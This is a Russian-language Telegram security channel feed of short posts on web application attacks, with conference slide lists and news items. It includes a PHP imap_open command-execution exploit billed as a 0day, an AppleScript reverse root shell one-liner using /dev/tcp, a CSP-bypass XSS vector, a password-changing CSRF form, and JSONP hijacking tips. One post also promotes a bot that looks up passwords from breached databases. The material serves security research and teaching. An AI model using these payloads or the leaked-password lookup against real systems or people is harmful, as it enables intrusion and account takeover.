Кавычка
16K subscribers
83 photos
2 videos
12 files
184 links
Практическая безопасность. Уязвимости и атаки на веб-приложения.

Чат @WebPwnChat

Только авторский контент, без репостов и рекламы (простите).

Вместо лайка:
https://t.me/webpwn?boost

Платный канал:
https://t.me/tribute/app?startapp=s2Vr
Download Telegram
Это почему мы молчим? Это потому что мы готовимся к ZeroNights!
В Nginx (и не в nginx) есть аналог .htaccess (пользовательские настройки веб-сервера) и имя ему — .user.ini

Конечно, такой функциональности как у Apache у него нет, однако некоторые финты им делать можно.
Дружно передаем привет чуваку с ником crlf, который заресерчил багу и выложил таск по выполнению кода с обходом disable_functions в PHP, используя функцию imap_open (и некоторые особенности в Debian/Ubuntu).
На секундочку, это 0day!
Эксплойт с выполнением команды echo '1234567890'>/tmp/test0001:

<?php
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

Обязательно читаем подробности тут.
Чуть ниже есть презентация Twoster'а с конференции KazHackStan, ему тоже передаем привет!
Кавычка
Слайды с Web VIllage #ZeroNights 2018 https://2018.zeronights.ru/en/materials/
Bo0oM - I <"3 XSS
H D, Pavel Rukavishnikov - Blind XSS
Ivan Chalykin - Key methods of CSP bypassing
Sergey "BlackFan" Bobrov - BugBounty Automation
Andrey "L1kvID" Kovalev - Introduction into browser hacking
Alexey "SooLFaa" Morozov - Misconfiguration in development infrastructure
Alexey "GreenDog" Tiurin - (A)typical vulnerabilities
Omar "Beched" Ganiev - PHP insecurity stack
Pavel "Paul_Axe" Toporkov - PHP unserialize
Alexandr "Webr0ck" Romanov - Spel injection
Egor "ShikariSenpai" Karbutov & Sergey "BeLove" Belov - Defense. Change my mind!
Некоторые заголовки могут работать как HTML теги (и наоборот)

Например, тег
<meta http-equiv="Content-Security-Policy" content="default-src https://hello; child-src 'none'; object-src 'none'">
включит соотвествующий CSP, как если бы он был в заголовках.

Заголовок
Refresh: 3;URL=https://hello/
покажет содержимое страницы на три секунды, а потом перенаправит пользователя, как если бы на странице был тег
<meta http-equiv="refresh" content="3;https://hello/">


Заголовок
Link: <https://hello/>;rel=stylesheet
попытается подгрузить и применить на страницу CSS, как если на странице был тег
<link rel="stylesheet" href="https://hello/">
правда, только для Firefox🦊
Недавно на ZN:Web Village обсуждались способы обхода Content-Security-Policy, в том числе через использование JSONP колбэков из списка довереных доменов.
И тут в твитторе встретилась неплохая подборка таких коллбеков для самых разных сервисов!
https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt

Разберем на примере. Вот встретили вы такую политику:
Content-Security-Policy: default-src none; script-src 'unsafe-inline' 'nonce-rhg4nkW7bVP4DzlAfkMrdg==' *.yandex.net

А для Яндекса как раз есть пара примерчиков. Итого, наш мега-вектор принимает вид:

"><script src="https://translate.yandex.net/api/v1.5/tr.json/detect?callback=alert(1337)"></script>
PWNED!

А вот и сама презентация https://clck.ru/EsdWb


Любопытно, что во многих случаях сервис всячески ругается ("Only alphabet or number allowed in JSONP "), но это не мешает работе байпаса.
AppleScript — мощный инструмент.
Нужен root shell?

osascript -e "do shell script \"bash -i >& /dev/tcp/%ip%/%port% 0>&1 \" with administrator privileges"

Нужен контроль над другим приложением?

osascript -e 'tell app "Chrome" to display dialog "Hello World"'

(В Mojave нужно дать доступ через меню «Accessibility»)

Сценарии AppleScript можно писать на диалекте JS - JXA. Например, Apfell целиком написан на JXA.
При помощи AppleScript можно стучаться в ObjC и получать доступ к любому API.

AppleScript - язык автоматизации и работы с IPC. Chrome/Safari и другие програмы имеют готовый интерфейс для интеграции с AppleScript и Automator.

Сам язык похож на Visual Basic и документации по нему мало. К счастью, нам хватит do shell script
Ruby забавно парсит JSON стандартным модулем. В него можно писать комментарии!
Например, если серверная часть не проверяет Content-type запроса на application/json, можно сформировать сценарий для CSRF.

<body onload="document.forms[0].submit();">
<form action="https://visim" method="POST" enctype="text/plain">
<input type="hidden" name='{"action":"changepassword","password":"PwnMePls!1!!"}//' value="">
</form>
</body>
В 2017 году на Defcon Russia я предлагал использовать Google Glass интегрируя в него сервис Findface.

Только вот Findface уже закрыли, но на смену ему приходит минималистичный searchface.ru. Несмотря на то, что подобных сервисов уже много, этот абсолютно бесплатный (даже без регистрации).
FindTwin face search demo в title говорит о том, что это демка, но поиск по закрытым профилям вконтактике — уже приятно.
Forwarded from Br0wSec (Andrey Kovalev)
Вышел отчет Chromium Security Q4. Самое интересное, что там было - представление нового API для защиты от XSS (в первую очередь от DOM-based), который называется Trusted Types.

Теперь разработчики смогут на своем сайте ограничить небезопасную вставку содержимого в DOM специальной политкой, которая активируется в CSP-заголовках. В этом случае в качестве параметров для функций (или свойств), порождающих небезопасный html (так называемые inоjection sinks, например, Element.innerHTML или HTMLScriptElement.src), можно будет использовать только объекты-политики, в которых можно описать реализацию санитайзинга или проверки контента, попадающего в DOM.

Подробнее можно почитать здесь: https://developers.google.com/web/updates/2019/02/trusted-types, а полную спецификацию можно найти тут: https://wicg.github.io/trusted-types/dist/spec/.

Фича пока что экспериментальная и доступна с 73 по 76 версию Chromium'a. Чтобы попасть в эксперимент надо записать свой сайт по ссылке: https://developers.chrome.com/origintrials/#/register_trial/171136785840078849
GraphQL - это технология для создания API от Facebook. Сейчас на многих современных сайтах можно увидеть обращения к GraphQL-бекендам, у которых нередко можно встретить проблемы с разделением прав доступа. Достаточно вспомнить недавний баг у HackerOne.

Одним из самых популярных бекендов является graphcool. Фреймворк позволяет легко создавать GraphQL-схемы из SDL. Но безопасна ли сгенерированная схема? Исследовать GraphQL-схемы можно легко с помощью GraphQL Playground или расширения ChromeiQL. Так, можно увидеть, что graphcool создает новые поля-селекторы для всех строковых полей, например password_contains, password_not_contains, password_starts_with и др. И что самое главное - авторизация для таких полей реализована некорректно, допуская error-based перебор символов.
Чуваки из Google сделали офигенный сервис!
Он наглядно показывает уязвимые участки кода у различных CVE (ну патчи, конечно же).

https://www.vulncode-db.com
Проблема непреднамеренных утечек критичной информации (ключей доступа, паролей, ключей шифрования, API-ключей различных продуктов и т.п.) на сервис для хостинга IT-проектов и их совместной разработки GitHub, сейчас является одной из самых горячих тем обсуждения. 🔥

В открытом доступе была обнаружена учетная запись сотрудника компании devicelock (основатель которой ведет канал об утечках @dataleak).
Кавычка
Проблема непреднамеренных утечек критичной информации (ключей доступа, паролей, ключей шифрования, API-ключей различных продуктов и т.п.) на сервис для хостинга IT-проектов и их совместной разработки GitHub, сейчас является одной из самых горячих тем обсуждения.…
Учетная запись была в открытом доступе примерно с лета прошлого года. Репозиторий уже был удален, клиенты не пострадали (надеюсь), а мы уже получили ответ от Devicelock - "ага, спасибо. не нужно конечно было это допускать ;)".
JS-Alpha - забавный JS-енкодер, который обфусцирует сценарий только с помощью символов /[a-z().]/ (ха). Выглядит это как набор функций, ценности особо не несёт, но выглядит забавно.

https://terjanq.github.io/JS-Alpha/encoder.html

Например, alert(1):
with(escape())with(eval.bind)eval(unescape(match().concat(strike().big().link().length).concat(escape(escape.name.length).concat(escape(...call.name))).concat(escape(escape(link())).length).concat(link().blink().link().length).concat(link().link().strike().length).concat(name.link().length).concat(big().big().length).concat(fixed().big().length).join(unescape(...escape(this)))))
Бот для поиска паролей по введённому email’у на основе множества утечек баз данных. База постоянно пополняется :)

@mailsearchbot
Иногда бывает, что в ответ на GET запрос получаем JSON объект, где может храниться чувствительная информация: какие-нибудь данные пользователя или даже CSRF-токен! И если раньше мы могли «узнать» эту информацию, то сейчас это стало невозможным.
Однако всегда стоит проверить возможность добавить функцию обратного вызова и получить JSONP объект, который до сих пор можно захайджечить! Пример:
GET /api/user.info?callback=xek HTTP/1.1

Зачастую для вызова обратной функции у меня встречались следующие параметры:

callback
jsonp
cb
jp

А затем уже эксплуатируем обычный JSONP Hijacking, как в примерах ниже:
https://hackerone.com/reports/361951
https://hackerone.com/reports/9775
https://hackerone.com/reports/361951

Кроме того, такую находку можно использовать для обхода CSP, как писали тут ранее.